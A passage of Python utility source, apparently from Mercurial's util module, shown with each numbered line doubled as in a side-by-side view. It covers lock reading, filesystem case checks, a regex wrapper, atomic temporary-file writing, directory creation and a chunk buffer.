1688 raise
1688 raise
1689 except AttributeError: # no symlink in os
1689 except AttributeError: # no symlink in os
1690 pass
1690 pass
1691
1691
1692 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1692 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1693 os.write(ld, info)
1693 os.write(ld, info)
1694 os.close(ld)
1694 os.close(ld)
1695
1695
1696 def readlock(pathname):
1696 def readlock(pathname):
1697 try:
1697 try:
1698 return os.readlink(pathname)
1698 return os.readlink(pathname)
1699 except OSError as why:
1699 except OSError as why:
1700 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1700 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1701 raise
1701 raise
1702 except AttributeError: # no symlink in os
1702 except AttributeError: # no symlink in os
1703 pass
1703 pass
1704 fp = posixfile(pathname)
1704 fp = posixfile(pathname)
1705 r = fp.read()
1705 r = fp.read()
1706 fp.close()
1706 fp.close()
1707 return r
1707 return r
1708
1708
1709 def fstat(fp):
1709 def fstat(fp):
1710 '''stat file object that may not have fileno method.'''
1710 '''stat file object that may not have fileno method.'''
1711 try:
1711 try:
1712 return os.fstat(fp.fileno())
1712 return os.fstat(fp.fileno())
1713 except AttributeError:
1713 except AttributeError:
1714 return os.stat(fp.name)
1714 return os.stat(fp.name)
1715
1715
1716 # File system features
1716 # File system features
1717
1717
1718 def fscasesensitive(path):
1718 def fscasesensitive(path):
1719 """
1719 """
1720 Return true if the given path is on a case-sensitive filesystem
1720 Return true if the given path is on a case-sensitive filesystem
1721
1721
1722 Requires a path (like /foo/.hg) ending with a foldable final
1722 Requires a path (like /foo/.hg) ending with a foldable final
1723 directory component.
1723 directory component.
1724 """
1724 """
1725 s1 = os.lstat(path)
1725 s1 = os.lstat(path)
1726 d, b = os.path.split(path)
1726 d, b = os.path.split(path)
1727 b2 = b.upper()
1727 b2 = b.upper()
1728 if b == b2:
1728 if b == b2:
1729 b2 = b.lower()
1729 b2 = b.lower()
1730 if b == b2:
1730 if b == b2:
1731 return True # no evidence against case sensitivity
1731 return True # no evidence against case sensitivity
1732 p2 = os.path.join(d, b2)
1732 p2 = os.path.join(d, b2)
1733 try:
1733 try:
1734 s2 = os.lstat(p2)
1734 s2 = os.lstat(p2)
1735 if s2 == s1:
1735 if s2 == s1:
1736 return False
1736 return False
1737 return True
1737 return True
1738 except OSError:
1738 except OSError:
1739 return True
1739 return True
1740
1740
1741 try:
1741 try:
1742 import re2
1742 import re2
1743 _re2 = None
1743 _re2 = None
1744 except ImportError:
1744 except ImportError:
1745 _re2 = False
1745 _re2 = False
1746
1746
1747 class _re(object):
1747 class _re(object):
1748 def _checkre2(self):
1748 def _checkre2(self):
1749 global _re2
1749 global _re2
1750 try:
1750 try:
1751 # check if match works, see issue3964
1751 # check if match works, see issue3964
1752 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1752 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1753 except ImportError:
1753 except ImportError:
1754 _re2 = False
1754 _re2 = False
1755
1755
1756 def compile(self, pat, flags=0):
1756 def compile(self, pat, flags=0):
1757 '''Compile a regular expression, using re2 if possible
1757 '''Compile a regular expression, using re2 if possible
1758
1758
1759 For best performance, use only re2-compatible regexp features. The
1759 For best performance, use only re2-compatible regexp features. The
1760 only flags from the re module that are re2-compatible are
1760 only flags from the re module that are re2-compatible are
1761 IGNORECASE and MULTILINE.'''
1761 IGNORECASE and MULTILINE.'''
1762 if _re2 is None:
1762 if _re2 is None:
1763 self._checkre2()
1763 self._checkre2()
1764 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1764 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1765 if flags & remod.IGNORECASE:
1765 if flags & remod.IGNORECASE:
1766 pat = '(?i)' + pat
1766 pat = '(?i)' + pat
1767 if flags & remod.MULTILINE:
1767 if flags & remod.MULTILINE:
1768 pat = '(?m)' + pat
1768 pat = '(?m)' + pat
1769 try:
1769 try:
1770 return re2.compile(pat)
1770 return re2.compile(pat)
1771 except re2.error:
1771 except re2.error:
1772 pass
1772 pass
1773 return remod.compile(pat, flags)
1773 return remod.compile(pat, flags)
1774
1774
1775 @propertycache
1775 @propertycache
1776 def escape(self):
1776 def escape(self):
1777 '''Return the version of escape corresponding to self.compile.
1777 '''Return the version of escape corresponding to self.compile.
1778
1778
1779 This is imperfect because whether re2 or re is used for a particular
1779 This is imperfect because whether re2 or re is used for a particular
1780 function depends on the flags, etc, but it's the best we can do.
1780 function depends on the flags, etc, but it's the best we can do.
1781 '''
1781 '''
1782 global _re2
1782 global _re2
1783 if _re2 is None:
1783 if _re2 is None:
1784 self._checkre2()
1784 self._checkre2()
1785 if _re2:
1785 if _re2:
1786 return re2.escape
1786 return re2.escape
1787 else:
1787 else:
1788 return remod.escape
1788 return remod.escape
1789
1789
1790 re = _re()
1790 re = _re()
1791
1791
1792 _fspathcache = {}
1792 _fspathcache = {}
1793 def fspath(name, root):
1793 def fspath(name, root):
1794 '''Get name in the case stored in the filesystem
1794 '''Get name in the case stored in the filesystem
1795
1795
1796 The name should be relative to root, and be normcase-ed for efficiency.
1796 The name should be relative to root, and be normcase-ed for efficiency.
1797
1797
1798 Note that this function is unnecessary, and should not be
1798 Note that this function is unnecessary, and should not be
1799 called, for case-sensitive filesystems (simply because it's expensive).
1799 called, for case-sensitive filesystems (simply because it's expensive).
1800
1800
1801 The root should be normcase-ed, too.
1801 The root should be normcase-ed, too.
1802 '''
1802 '''
1803 def _makefspathcacheentry(dir):
1803 def _makefspathcacheentry(dir):
1804 return dict((normcase(n), n) for n in os.listdir(dir))
1804 return dict((normcase(n), n) for n in os.listdir(dir))
1805
1805
1806 seps = pycompat.ossep
1806 seps = pycompat.ossep
1807 if pycompat.osaltsep:
1807 if pycompat.osaltsep:
1808 seps = seps + pycompat.osaltsep
1808 seps = seps + pycompat.osaltsep
1809 # Protect backslashes. This gets silly very quickly.
1809 # Protect backslashes. This gets silly very quickly.
1810 seps.replace('\\','\\\\')
1810 seps.replace('\\','\\\\')
1811 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1811 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1812 dir = os.path.normpath(root)
1812 dir = os.path.normpath(root)
1813 result = []
1813 result = []
1814 for part, sep in pattern.findall(name):
1814 for part, sep in pattern.findall(name):
1815 if sep:
1815 if sep:
1816 result.append(sep)
1816 result.append(sep)
1817 continue
1817 continue
1818
1818
1819 if dir not in _fspathcache:
1819 if dir not in _fspathcache:
1820 _fspathcache[dir] = _makefspathcacheentry(dir)
1820 _fspathcache[dir] = _makefspathcacheentry(dir)
1821 contents = _fspathcache[dir]
1821 contents = _fspathcache[dir]
1822
1822
1823 found = contents.get(part)
1823 found = contents.get(part)
1824 if not found:
1824 if not found:
1825 # retry "once per directory" per "dirstate.walk" which
1825 # retry "once per directory" per "dirstate.walk" which
1826 # may take place for each patches of "hg qpush", for example
1826 # may take place for each patches of "hg qpush", for example
1827 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1827 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1828 found = contents.get(part)
1828 found = contents.get(part)
1829
1829
1830 result.append(found or part)
1830 result.append(found or part)
1831 dir = os.path.join(dir, part)
1831 dir = os.path.join(dir, part)
1832
1832
1833 return ''.join(result)
1833 return ''.join(result)
1834
1834
1835 def checknlink(testfile):
1835 def checknlink(testfile):
1836 '''check whether hardlink count reporting works properly'''
1836 '''check whether hardlink count reporting works properly'''
1837
1837
1838 # testfile may be open, so we need a separate file for checking to
1838 # testfile may be open, so we need a separate file for checking to
1839 # work around issue2543 (or testfile may get lost on Samba shares)
1839 # work around issue2543 (or testfile may get lost on Samba shares)
1840 f1, f2, fp = None, None, None
1840 f1, f2, fp = None, None, None
1841 try:
1841 try:
1842 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1842 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1843 suffix='1~', dir=os.path.dirname(testfile))
1843 suffix='1~', dir=os.path.dirname(testfile))
1844 os.close(fd)
1844 os.close(fd)
1845 f2 = '%s2~' % f1[:-2]
1845 f2 = '%s2~' % f1[:-2]
1846
1846
1847 oslink(f1, f2)
1847 oslink(f1, f2)
1848 # nlinks() may behave differently for files on Windows shares if
1848 # nlinks() may behave differently for files on Windows shares if
1849 # the file is open.
1849 # the file is open.
1850 fp = posixfile(f2)
1850 fp = posixfile(f2)
1851 return nlinks(f2) > 1
1851 return nlinks(f2) > 1
1852 except OSError:
1852 except OSError:
1853 return False
1853 return False
1854 finally:
1854 finally:
1855 if fp is not None:
1855 if fp is not None:
1856 fp.close()
1856 fp.close()
1857 for f in (f1, f2):
1857 for f in (f1, f2):
1858 try:
1858 try:
1859 if f is not None:
1859 if f is not None:
1860 os.unlink(f)
1860 os.unlink(f)
1861 except OSError:
1861 except OSError:
1862 pass
1862 pass
1863
1863
1864 def endswithsep(path):
1864 def endswithsep(path):
1865 '''Check path ends with os.sep or os.altsep.'''
1865 '''Check path ends with os.sep or os.altsep.'''
1866 return (path.endswith(pycompat.ossep)
1866 return (path.endswith(pycompat.ossep)
1867 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1867 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1868
1868
1869 def splitpath(path):
1869 def splitpath(path):
1870 '''Split path by os.sep.
1870 '''Split path by os.sep.
1871 Note that this function does not use os.altsep because this is
1871 Note that this function does not use os.altsep because this is
1872 an alternative of simple "xxx.split(os.sep)".
1872 an alternative of simple "xxx.split(os.sep)".
1873 It is recommended to use os.path.normpath() before using this
1873 It is recommended to use os.path.normpath() before using this
1874 function if need.'''
1874 function if need.'''
1875 return path.split(pycompat.ossep)
1875 return path.split(pycompat.ossep)
1876
1876
1877 def gui():
1877 def gui():
1878 '''Are we running in a GUI?'''
1878 '''Are we running in a GUI?'''
1879 if pycompat.isdarwin:
1879 if pycompat.isdarwin:
1880 if 'SSH_CONNECTION' in encoding.environ:
1880 if 'SSH_CONNECTION' in encoding.environ:
1881 # handle SSH access to a box where the user is logged in
1881 # handle SSH access to a box where the user is logged in
1882 return False
1882 return False
1883 elif getattr(osutil, 'isgui', None):
1883 elif getattr(osutil, 'isgui', None):
1884 # check if a CoreGraphics session is available
1884 # check if a CoreGraphics session is available
1885 return osutil.isgui()
1885 return osutil.isgui()
1886 else:
1886 else:
1887 # pure build; use a safe default
1887 # pure build; use a safe default
1888 return True
1888 return True
1889 else:
1889 else:
1890 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1890 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1891
1891
1892 def mktempcopy(name, emptyok=False, createmode=None):
1892 def mktempcopy(name, emptyok=False, createmode=None):
1893 """Create a temporary file with the same contents from name
1893 """Create a temporary file with the same contents from name
1894
1894
1895 The permission bits are copied from the original file.
1895 The permission bits are copied from the original file.
1896
1896
1897 If the temporary file is going to be truncated immediately, you
1897 If the temporary file is going to be truncated immediately, you
1898 can use emptyok=True as an optimization.
1898 can use emptyok=True as an optimization.
1899
1899
1900 Returns the name of the temporary file.
1900 Returns the name of the temporary file.
1901 """
1901 """
1902 d, fn = os.path.split(name)
1902 d, fn = os.path.split(name)
1903 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1903 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1904 os.close(fd)
1904 os.close(fd)
1905 # Temporary files are created with mode 0600, which is usually not
1905 # Temporary files are created with mode 0600, which is usually not
1906 # what we want. If the original file already exists, just copy
1906 # what we want. If the original file already exists, just copy
1907 # its mode. Otherwise, manually obey umask.
1907 # its mode. Otherwise, manually obey umask.
1908 copymode(name, temp, createmode)
1908 copymode(name, temp, createmode)
1909 if emptyok:
1909 if emptyok:
1910 return temp
1910 return temp
1911 try:
1911 try:
1912 try:
1912 try:
1913 ifp = posixfile(name, "rb")
1913 ifp = posixfile(name, "rb")
1914 except IOError as inst:
1914 except IOError as inst:
1915 if inst.errno == errno.ENOENT:
1915 if inst.errno == errno.ENOENT:
1916 return temp
1916 return temp
1917 if not getattr(inst, 'filename', None):
1917 if not getattr(inst, 'filename', None):
1918 inst.filename = name
1918 inst.filename = name
1919 raise
1919 raise
1920 ofp = posixfile(temp, "wb")
1920 ofp = posixfile(temp, "wb")
1921 for chunk in filechunkiter(ifp):
1921 for chunk in filechunkiter(ifp):
1922 ofp.write(chunk)
1922 ofp.write(chunk)
1923 ifp.close()
1923 ifp.close()
1924 ofp.close()
1924 ofp.close()
1925 except: # re-raises
1925 except: # re-raises
1926 try:
1926 try:
1927 os.unlink(temp)
1927 os.unlink(temp)
1928 except OSError:
1928 except OSError:
1929 pass
1929 pass
1930 raise
1930 raise
1931 return temp
1931 return temp
1932
1932
1933 class filestat(object):
1933 class filestat(object):
1934 """help to exactly detect change of a file
1934 """help to exactly detect change of a file
1935
1935
1936 'stat' attribute is result of 'os.stat()' if specified 'path'
1936 'stat' attribute is result of 'os.stat()' if specified 'path'
1937 exists. Otherwise, it is None. This can avoid preparative
1937 exists. Otherwise, it is None. This can avoid preparative
1938 'exists()' examination on client side of this class.
1938 'exists()' examination on client side of this class.
1939 """
1939 """
1940 def __init__(self, stat):
1940 def __init__(self, stat):
1941 self.stat = stat
1941 self.stat = stat
1942
1942
1943 @classmethod
1943 @classmethod
1944 def frompath(cls, path):
1944 def frompath(cls, path):
1945 try:
1945 try:
1946 stat = os.stat(path)
1946 stat = os.stat(path)
1947 except OSError as err:
1947 except OSError as err:
1948 if err.errno != errno.ENOENT:
1948 if err.errno != errno.ENOENT:
1949 raise
1949 raise
1950 stat = None
1950 stat = None
1951 return cls(stat)
1951 return cls(stat)
1952
1952
1953 @classmethod
1953 @classmethod
1954 def fromfp(cls, fp):
1954 def fromfp(cls, fp):
1955 stat = os.fstat(fp.fileno())
1955 stat = os.fstat(fp.fileno())
1956 return cls(stat)
1956 return cls(stat)
1957
1957
1958 __hash__ = object.__hash__
1958 __hash__ = object.__hash__
1959
1959
1960 def __eq__(self, old):
1960 def __eq__(self, old):
1961 try:
1961 try:
1962 # if ambiguity between stat of new and old file is
1962 # if ambiguity between stat of new and old file is
1963 # avoided, comparison of size, ctime and mtime is enough
1963 # avoided, comparison of size, ctime and mtime is enough
1964 # to exactly detect change of a file regardless of platform
1964 # to exactly detect change of a file regardless of platform
1965 return (self.stat.st_size == old.stat.st_size and
1965 return (self.stat.st_size == old.stat.st_size and
1966 self.stat.st_ctime == old.stat.st_ctime and
1966 self.stat.st_ctime == old.stat.st_ctime and
1967 self.stat.st_mtime == old.stat.st_mtime)
1967 self.stat.st_mtime == old.stat.st_mtime)
1968 except AttributeError:
1968 except AttributeError:
1969 pass
1969 pass
1970 try:
1970 try:
1971 return self.stat is None and old.stat is None
1971 return self.stat is None and old.stat is None
1972 except AttributeError:
1972 except AttributeError:
1973 return False
1973 return False
1974
1974
1975 def isambig(self, old):
1975 def isambig(self, old):
1976 """Examine whether new (= self) stat is ambiguous against old one
1976 """Examine whether new (= self) stat is ambiguous against old one
1977
1977
1978 "S[N]" below means stat of a file at N-th change:
1978 "S[N]" below means stat of a file at N-th change:
1979
1979
1980 - S[n-1].ctime < S[n].ctime: can detect change of a file
1980 - S[n-1].ctime < S[n].ctime: can detect change of a file
1981 - S[n-1].ctime == S[n].ctime
1981 - S[n-1].ctime == S[n].ctime
1982 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1982 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1983 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1983 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1984 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1984 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1985 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1985 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1986
1986
1987 Case (*2) above means that a file was changed twice or more at
1987 Case (*2) above means that a file was changed twice or more at
1988 same time in sec (= S[n-1].ctime), and comparison of timestamp
1988 same time in sec (= S[n-1].ctime), and comparison of timestamp
1989 is ambiguous.
1989 is ambiguous.
1990
1990
1991 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1991 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1992 timestamp is ambiguous".
1992 timestamp is ambiguous".
1993
1993
1994 But advancing mtime only in case (*2) doesn't work as
1994 But advancing mtime only in case (*2) doesn't work as
1995 expected, because naturally advanced S[n].mtime in case (*1)
1995 expected, because naturally advanced S[n].mtime in case (*1)
1996 might be equal to manually advanced S[n-1 or earlier].mtime.
1996 might be equal to manually advanced S[n-1 or earlier].mtime.
1997
1997
1998 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1998 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1999 treated as ambiguous regardless of mtime, to avoid overlooking
1999 treated as ambiguous regardless of mtime, to avoid overlooking
2000 by confliction between such mtime.
2000 by confliction between such mtime.
2001
2001
2002 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2002 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2003 S[n].mtime", even if size of a file isn't changed.
2003 S[n].mtime", even if size of a file isn't changed.
2004 """
2004 """
2005 try:
2005 try:
2006 return (self.stat.st_ctime == old.stat.st_ctime)
2006 return (self.stat.st_ctime == old.stat.st_ctime)
2007 except AttributeError:
2007 except AttributeError:
2008 return False
2008 return False
2009
2009
2010 def avoidambig(self, path, old):
2010 def avoidambig(self, path, old):
2011 """Change file stat of specified path to avoid ambiguity
2011 """Change file stat of specified path to avoid ambiguity
2012
2012
2013 'old' should be previous filestat of 'path'.
2013 'old' should be previous filestat of 'path'.
2014
2014
2015 This skips avoiding ambiguity, if a process doesn't have
2015 This skips avoiding ambiguity, if a process doesn't have
2016 appropriate privileges for 'path'. This returns False in this
2016 appropriate privileges for 'path'. This returns False in this
2017 case.
2017 case.
2018
2018
2019 Otherwise, this returns True, as "ambiguity is avoided".
2019 Otherwise, this returns True, as "ambiguity is avoided".
2020 """
2020 """
2021 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
2021 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
2022 try:
2022 try:
2023 os.utime(path, (advanced, advanced))
2023 os.utime(path, (advanced, advanced))
2024 except OSError as inst:
2024 except OSError as inst:
2025 if inst.errno == errno.EPERM:
2025 if inst.errno == errno.EPERM:
2026 # utime() on the file created by another user causes EPERM,
2026 # utime() on the file created by another user causes EPERM,
2027 # if a process doesn't have appropriate privileges
2027 # if a process doesn't have appropriate privileges
2028 return False
2028 return False
2029 raise
2029 raise
2030 return True
2030 return True
2031
2031
2032 def __ne__(self, other):
2032 def __ne__(self, other):
2033 return not self == other
2033 return not self == other
2034
2034
2035 class atomictempfile(object):
2035 class atomictempfile(object):
2036 '''writable file object that atomically updates a file
2036 '''writable file object that atomically updates a file
2037
2037
2038 All writes will go to a temporary copy of the original file. Call
2038 All writes will go to a temporary copy of the original file. Call
2039 close() when you are done writing, and atomictempfile will rename
2039 close() when you are done writing, and atomictempfile will rename
2040 the temporary copy to the original name, making the changes
2040 the temporary copy to the original name, making the changes
2041 visible. If the object is destroyed without being closed, all your
2041 visible. If the object is destroyed without being closed, all your
2042 writes are discarded.
2042 writes are discarded.
2043
2043
2044 checkambig argument of constructor is used with filestat, and is
2044 checkambig argument of constructor is used with filestat, and is
2045 useful only if target file is guarded by any lock (e.g. repo.lock
2045 useful only if target file is guarded by any lock (e.g. repo.lock
2046 or repo.wlock).
2046 or repo.wlock).
2047 '''
2047 '''
2048 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2048 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2049 self.__name = name # permanent name
2049 self.__name = name # permanent name
2050 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2050 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2051 createmode=createmode)
2051 createmode=createmode)
2052 self._fp = posixfile(self._tempname, mode)
2052 self._fp = posixfile(self._tempname, mode)
2053 self._checkambig = checkambig
2053 self._checkambig = checkambig
2054
2054
2055 # delegated methods
2055 # delegated methods
2056 self.read = self._fp.read
2056 self.read = self._fp.read
2057 self.write = self._fp.write
2057 self.write = self._fp.write
2058 self.seek = self._fp.seek
2058 self.seek = self._fp.seek
2059 self.tell = self._fp.tell
2059 self.tell = self._fp.tell
2060 self.fileno = self._fp.fileno
2060 self.fileno = self._fp.fileno
2061
2061
2062 def close(self):
2062 def close(self):
2063 if not self._fp.closed:
2063 if not self._fp.closed:
2064 self._fp.close()
2064 self._fp.close()
2065 filename = localpath(self.__name)
2065 filename = localpath(self.__name)
2066 oldstat = self._checkambig and filestat.frompath(filename)
2066 oldstat = self._checkambig and filestat.frompath(filename)
2067 if oldstat and oldstat.stat:
2067 if oldstat and oldstat.stat:
2068 rename(self._tempname, filename)
2068 rename(self._tempname, filename)
2069 newstat = filestat.frompath(filename)
2069 newstat = filestat.frompath(filename)
2070 if newstat.isambig(oldstat):
2070 if newstat.isambig(oldstat):
2071 # stat of changed file is ambiguous to original one
2071 # stat of changed file is ambiguous to original one
2072 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
2072 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
2073 os.utime(filename, (advanced, advanced))
2073 os.utime(filename, (advanced, advanced))
2074 else:
2074 else:
2075 rename(self._tempname, filename)
2075 rename(self._tempname, filename)
2076
2076
2077 def discard(self):
2077 def discard(self):
2078 if not self._fp.closed:
2078 if not self._fp.closed:
2079 try:
2079 try:
2080 os.unlink(self._tempname)
2080 os.unlink(self._tempname)
2081 except OSError:
2081 except OSError:
2082 pass
2082 pass
2083 self._fp.close()
2083 self._fp.close()
2084
2084
2085 def __del__(self):
2085 def __del__(self):
2086 if safehasattr(self, '_fp'): # constructor actually did something
2086 if safehasattr(self, '_fp'): # constructor actually did something
2087 self.discard()
2087 self.discard()
2088
2088
2089 def __enter__(self):
2089 def __enter__(self):
2090 return self
2090 return self
2091
2091
2092 def __exit__(self, exctype, excvalue, traceback):
2092 def __exit__(self, exctype, excvalue, traceback):
2093 if exctype is not None:
2093 if exctype is not None:
2094 self.discard()
2094 self.discard()
2095 else:
2095 else:
2096 self.close()
2096 self.close()
2097
2097
2098 def unlinkpath(f, ignoremissing=False):
2098 def unlinkpath(f, ignoremissing=False):
2099 """unlink and remove the directory if it is empty"""
2099 """unlink and remove the directory if it is empty"""
2100 if ignoremissing:
2100 if ignoremissing:
2101 tryunlink(f)
2101 tryunlink(f)
2102 else:
2102 else:
2103 unlink(f)
2103 unlink(f)
2104 # try removing directories that might now be empty
2104 # try removing directories that might now be empty
2105 try:
2105 try:
2106 removedirs(os.path.dirname(f))
2106 removedirs(os.path.dirname(f))
2107 except OSError:
2107 except OSError:
2108 pass
2108 pass
2109
2109
2110 def tryunlink(f):
2110 def tryunlink(f):
2111 """Attempt to remove a file, ignoring ENOENT errors."""
2111 """Attempt to remove a file, ignoring ENOENT errors."""
2112 try:
2112 try:
2113 unlink(f)
2113 unlink(f)
2114 except OSError as e:
2114 except OSError as e:
2115 if e.errno != errno.ENOENT:
2115 if e.errno != errno.ENOENT:
2116 raise
2116 raise
2117
2117
2118 def makedirs(name, mode=None, notindexed=False):
2118 def makedirs(name, mode=None, notindexed=False):
2119 """recursive directory creation with parent mode inheritance
2119 """recursive directory creation with parent mode inheritance
2120
2120
2121 Newly created directories are marked as "not to be indexed by
2121 Newly created directories are marked as "not to be indexed by
2122 the content indexing service", if ``notindexed`` is specified
2122 the content indexing service", if ``notindexed`` is specified
2123 for "write" mode access.
2123 for "write" mode access.
2124 """
2124 """
2125 try:
2125 try:
2126 makedir(name, notindexed)
2126 makedir(name, notindexed)
2127 except OSError as err:
2127 except OSError as err:
2128 if err.errno == errno.EEXIST:
2128 if err.errno == errno.EEXIST:
2129 return
2129 return
2130 if err.errno != errno.ENOENT or not name:
2130 if err.errno != errno.ENOENT or not name:
2131 raise
2131 raise
2132 parent = os.path.dirname(os.path.abspath(name))
2132 parent = os.path.dirname(os.path.abspath(name))
2133 if parent == name:
2133 if parent == name:
2134 raise
2134 raise
2135 makedirs(parent, mode, notindexed)
2135 makedirs(parent, mode, notindexed)
2136 try:
2136 try:
2137 makedir(name, notindexed)
2137 makedir(name, notindexed)
2138 except OSError as err:
2138 except OSError as err:
2139 # Catch EEXIST to handle races
2139 # Catch EEXIST to handle races
2140 if err.errno == errno.EEXIST:
2140 if err.errno == errno.EEXIST:
2141 return
2141 return
2142 raise
2142 raise
2143 if mode is not None:
2143 if mode is not None:
2144 os.chmod(name, mode)
2144 os.chmod(name, mode)
2145
2145
2146 def readfile(path):
2146 def readfile(path):
2147 with open(path, 'rb') as fp:
2147 with open(path, 'rb') as fp:
2148 return fp.read()
2148 return fp.read()
2149
2149
2150 def writefile(path, text):
2150 def writefile(path, text):
2151 with open(path, 'wb') as fp:
2151 with open(path, 'wb') as fp:
2152 fp.write(text)
2152 fp.write(text)
2153
2153
2154 def appendfile(path, text):
2154 def appendfile(path, text):
2155 with open(path, 'ab') as fp:
2155 with open(path, 'ab') as fp:
2156 fp.write(text)
2156 fp.write(text)
2157
2157
2158 class chunkbuffer(object):
2158 class chunkbuffer(object):
2159 """Allow arbitrary sized chunks of data to be efficiently read from an
2159 """Allow arbitrary sized chunks of data to be efficiently read from an
2160 iterator over chunks of arbitrary size."""
2160 iterator over chunks of arbitrary size."""
2161
2161
2162 def __init__(self, in_iter):
2162 def __init__(self, in_iter):
2163 """in_iter is the iterator that's iterating over the input chunks."""
2163 """in_iter is the iterator that's iterating over the input chunks."""
2164 def splitbig(chunks):
2164 def splitbig(chunks):
2165 for chunk in chunks:
2165 for chunk in chunks:
2166 if len(chunk) > 2**20:
2166 if len(chunk) > 2**20:
2167 pos = 0
2167 pos = 0
2168 while pos < len(chunk):
2168 while pos < len(chunk):
2169 end = pos + 2 ** 18
2169 end = pos + 2 ** 18
2170 yield chunk[pos:end]
2170 yield chunk[pos:end]
2171 pos = end
2171 pos = end
2172 else:
2172 else:
2173 yield chunk
2173 yield chunk
2174 self.iter = splitbig(in_iter)
2174 self.iter = splitbig(in_iter)
2175 self._queue = collections.deque()
2175 self._queue = collections.deque()
2176 self._chunkoffset = 0
2176 self._chunkoffset = 0
2177
2177
2178 def read(self, l=None):
2178 def read(self, l=None):
2179 """Read L bytes of data from the iterator of chunks of data.
2179 """Read L bytes of data from the iterator of chunks of data.
2180 Returns less than L bytes if the iterator runs dry.
2180 Returns less than L bytes if the iterator runs dry.
2181
2181
2182 If size parameter is omitted, read everything"""
2182 If size parameter is omitted, read everything"""
2183 if l is None:
2183 if l is None:
2184 return ''.join(self.iter)
2184 return ''.join(self.iter)
2185
2185
2186 left = l
2186 left = l
2187 buf = []
2187 buf = []
2188 queue = self._queue
2188 queue = self._queue
2189 while left > 0:
2189 while left > 0:
2190 # refill the queue
2190 # refill the queue
2191 if not queue:
2191 if not queue:
2192 target = 2**18
2192 target = 2**18
2193 for chunk in self.iter:
2193 for chunk in self.iter:
2194 queue.append(chunk)
2194 queue.append(chunk)
2195 target -= len(chunk)
2195 target -= len(chunk)
2196 if target <= 0:
2196 if target <= 0:
2197 break
2197 break
2198 if not queue:
2198 if not queue:
2199 break
2199 break
2200
2200
2201 # The easy way to do this would be to queue.popleft(), modify the
2201 # The easy way to do this would be to queue.popleft(), modify the
2202 # chunk (if necessary), then queue.appendleft(). However, for cases
2202 # chunk (if necessary), then queue.appendleft(). However, for cases
2203 # where we read partial chunk content, this incurs 2 dequeue
2203 # where we read partial chunk content, this incurs 2 dequeue
2204 # mutations and creates a new str for the remaining chunk in the
2204 # mutations and creates a new str for the remaining chunk in the
2205 # queue. Our code below avoids this overhead.
2205 # queue. Our code below avoids this overhead.
2206
2206
2207 chunk = queue[0]
2207 chunk = queue[0]
2208 chunkl = len(chunk)
2208 chunkl = len(chunk)
2209 offset = self._chunkoffset
2209 offset = self._chunkoffset
2210
2210
2211 # Use full chunk.
2211 # Use full chunk.
2212 if offset == 0 and left >= chunkl:
2212 if offset == 0 and left >= chunkl:
2213 left -= chunkl
2213 left -= chunkl
2214 queue.popleft()
2214 queue.popleft()
2215 buf.append(chunk)
2215 buf.append(chunk)
2216 # self._chunkoffset remains at 0.
2216 # self._chunkoffset remains at 0.
2217 continue
2217 continue
2218
2218
2219 chunkremaining = chunkl - offset
2219 chunkremaining = chunkl - offset
2220
2220
2221 # Use all of unconsumed part of chunk.
2221 # Use all of unconsumed part of chunk.
2222 if left >= chunkremaining:
2222 if left >= chunkremaining:
2223 left -= chunkremaining
2223 left -= chunkremaining
2224 queue.popleft()
2224 queue.popleft()
2225 # offset == 0 is enabled by block above, so this won't merely
2225 # offset == 0 is enabled by block above, so this won't merely
2226 # copy via ``chunk[0:]``.
2226 # copy via ``chunk[0:]``.
2227 buf.append(chunk[offset:])
2227 buf.append(chunk[offset:])
2228 self._chunkoffset = 0
2228 self._chunkoffset = 0
2229
2229
2230 # Partial chunk needed.
2230 # Partial chunk needed.
2231 else:
2231 else:
2232 buf.append(chunk[offset:offset + left])
2232 buf.append(chunk[offset:offset + left])
2233 self._chunkoffset += left
2233 self._chunkoffset += left
2234 left -= chunkremaining
2234 left -= chunkremaining
2235
2235
2236 return ''.join(buf)
2236 return ''.join(buf)
2237
2237
2238 def filechunkiter(f, size=131072, limit=None):
2238 def filechunkiter(f, size=131072, limit=None):
2239 """Create a generator that produces the data in the file size
